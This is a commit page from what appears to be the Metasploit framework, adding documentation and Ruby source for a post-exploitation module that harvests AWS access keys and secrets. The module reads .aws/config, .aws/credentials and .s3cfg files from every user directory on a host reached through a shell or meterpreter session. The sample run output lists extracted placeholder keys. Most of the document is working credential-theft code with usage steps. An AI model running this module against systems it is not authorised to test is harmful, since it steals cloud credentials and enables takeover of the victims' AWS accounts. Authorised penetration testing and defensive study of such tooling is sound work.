Land #7506, Add gather AWS keys post module
commit
2b5517f597
|
@ -0,0 +1,56 @@
|
||||||
|
## Vulnerable Application
|
||||||
|
|
||||||
|
Any system with a `shell` or `meterpreter` session.
|
||||||
|
|
||||||
|
## Verification Steps
|
||||||
|
|
||||||
|
1. Get a `shell` or `meterpreter` session on some host.
|
||||||
|
2. Do: ```use post/multi/gather/aws_keys```
|
||||||
|
3. Do: ```set SESSION [SESSION_ID]```, replacing ```[SESSION_ID]``` with the session number you wish to run this one.
|
||||||
|
4. Do: ```run```
|
||||||
|
5. If the system has readable configuration files containing AWS key material, they will be printed out.
|
||||||
|
|
||||||
|
## Options
|
||||||
|
|
||||||
|
None.
|
||||||
|
|
||||||
|
## Scenarios
|
||||||
|
|
||||||
|
```
|
||||||
|
msf post(aws_keys) > run
|
||||||
|
|
||||||
|
[*] Enumerating possible user AWS config files
|
||||||
|
[*] Looking for AWS config/credentials files in /bin
|
||||||
|
[*] Looking for AWS config/credentials files in /dev
|
||||||
|
[*] Looking for AWS config/credentials files in /home/syslog
|
||||||
|
[*] Looking for AWS config/credentials files in /home/test
|
||||||
|
[*] Looking for AWS config/credentials files in /home/test ubuntu
|
||||||
|
[*] Looking for AWS config/credentials files in /home/ubuntu
|
||||||
|
[*] Looking for AWS config/credentials files in /nonexistent
|
||||||
|
[*] Looking for AWS config/credentials files in /root
|
||||||
|
[*] Looking for AWS config/credentials files in /usr/games
|
||||||
|
[*] Looking for AWS config/credentials files in /usr/sbin
|
||||||
|
[*] Looking for AWS config/credentials files in /var/backups
|
||||||
|
[*] Looking for AWS config/credentials files in /var/cache/man
|
||||||
|
[*] Looking for AWS config/credentials files in /var/cache/pollinate
|
||||||
|
[*] Looking for AWS config/credentials files in /var/lib/gnats
|
||||||
|
[*] Looking for AWS config/credentials files in /var/lib/landscape
|
||||||
|
[*] Looking for AWS config/credentials files in /var/lib/libuuid
|
||||||
|
[*] Looking for AWS config/credentials files in /var/list
|
||||||
|
[*] Looking for AWS config/credentials files in /var/mail
|
||||||
|
[*] Looking for AWS config/credentials files in /var/run/dbus
|
||||||
|
[*] Looking for AWS config/credentials files in /var/run/ircd
|
||||||
|
[*] Looking for AWS config/credentials files in /var/run/sshd
|
||||||
|
[*] Looking for AWS config/credentials files in /var/spool/lpd
|
||||||
|
[*] Looking for AWS config/credentials files in /var/spool/news
|
||||||
|
[*] Looking for AWS config/credentials files in /var/spool/uucp
|
||||||
|
[*] Looking for AWS config/credentials files in /var/www
|
||||||
|
AWS Key Data
|
||||||
|
============
|
||||||
|
|
||||||
|
Source AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY Profile
|
||||||
|
------ ----------------- --------------------- -------
|
||||||
|
/home/test/.aws/credentials BAR PRIVATE_TEST test
|
||||||
|
/home/ubuntu/.aws/credentials ABC456 PRIVATE_TEST test
|
||||||
|
/root/.s3cfg root_key root_secret default
|
||||||
|
```
|
|
@ -0,0 +1,96 @@
|
||||||
|
##
|
||||||
|
# This module requires Metasploit: http://metasploit.com/download
|
||||||
|
# Current source: https://github.com/rapid7/metasploit-framework
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class MetasploitModule < Msf::Post
|
||||||
|
include Msf::Post::File
|
||||||
|
include Msf::Post::Unix
|
||||||
|
|
||||||
|
AWS_KEY = 'AWS_ACCESS_KEY_ID'
|
||||||
|
AWS_SECRET = 'AWS_SECRET_ACCESS_KEY'
|
||||||
|
S3_KEY = 'access_key'
|
||||||
|
S3_SECRET = 'secret_key'
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(
|
||||||
|
update_info(
|
||||||
|
info,
|
||||||
|
'Name' => 'UNIX Gather AWS Keys',
|
||||||
|
'Description' => %q(
|
||||||
|
This module will attempt to read AWS configuration files
|
||||||
|
(.aws/config, .aws//credentials and .s3cfg) for users discovered
|
||||||
|
on the session'd system and extract AWS keys from within.
|
||||||
|
),
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' => [ 'Jon Hart <jon_hart[at]rapid7.com>' ],
|
||||||
|
'SessionTypes' => %w(shell meterpreter),
|
||||||
|
'References' => [
|
||||||
|
[ 'URL', 'http://s3tools.org/kb/item14.htm' ],
|
||||||
|
[ 'URL', 'http://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html#cli-config-files' ]
|
||||||
|
]
|
||||||
|
)
|
||||||
|
)
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_aws_keys(config_file)
|
||||||
|
keys_data = []
|
||||||
|
config_s = cmd_exec("test -r #{config_file} && cat #{config_file}")
|
||||||
|
return keys_data if config_s.empty?
|
||||||
|
aws_config = Rex::Parser::Ini.from_s(config_s)
|
||||||
|
aws_config.each_key do |profile|
|
||||||
|
# XXX: Ini assumes anything on either side of the = is the key and value
|
||||||
|
# including spaces, so we need to fix this
|
||||||
|
profile_config = Hash[aws_config[profile].map { |k, v| [ k.strip, v.strip ] }]
|
||||||
|
aws_access_key_id = nil
|
||||||
|
aws_secret_access_key = nil
|
||||||
|
profile_config.each_pair do |key, value|
|
||||||
|
if key == AWS_KEY.downcase || key == S3_KEY
|
||||||
|
aws_access_key_id = value
|
||||||
|
end
|
||||||
|
|
||||||
|
if key == AWS_SECRET.downcase || key == S3_SECRET
|
||||||
|
aws_secret_access_key = value
|
||||||
|
end
|
||||||
|
end
|
||||||
|
next unless aws_access_key_id || aws_secret_access_key
|
||||||
|
keys_data << [ config_file, aws_access_key_id, aws_secret_access_key, profile ]
|
||||||
|
end
|
||||||
|
|
||||||
|
keys_data
|
||||||
|
end
|
||||||
|
|
||||||
|
def get_keys_from_files
|
||||||
|
keys_data = []
|
||||||
|
vprint_status("Enumerating possible user AWS config files")
|
||||||
|
# build up a list of aws configuration files to read, including the
|
||||||
|
# configuration files that may exist (rare)
|
||||||
|
enum_user_directories.map do |user_dir|
|
||||||
|
vprint_status("Looking for AWS config/credentials files in #{user_dir}")
|
||||||
|
%w(.aws/config .aws/credentials .s3cfg).each do |possible_key_file|
|
||||||
|
this_key_data = get_aws_keys(::File.join(user_dir, possible_key_file))
|
||||||
|
next if this_key_data.empty?
|
||||||
|
keys_data <<= this_key_data.flatten
|
||||||
|
end
|
||||||
|
end
|
||||||
|
keys_data
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
keys_data = get_keys_from_files
|
||||||
|
return if keys_data.empty?
|
||||||
|
|
||||||
|
keys_table = Rex::Text::Table.new(
|
||||||
|
'Header' => "AWS Key Data",
|
||||||
|
'Columns' => [ 'Source', AWS_KEY, AWS_SECRET, 'Profile' ]
|
||||||
|
)
|
||||||
|
|
||||||
|
keys_data.each do |key_data|
|
||||||
|
keys_table << key_data
|
||||||
|
end
|
||||||
|
|
||||||
|
print_line(keys_table.to_s)
|
||||||
|
end
|
||||||
|
end
|
Loading…
Reference in New Issue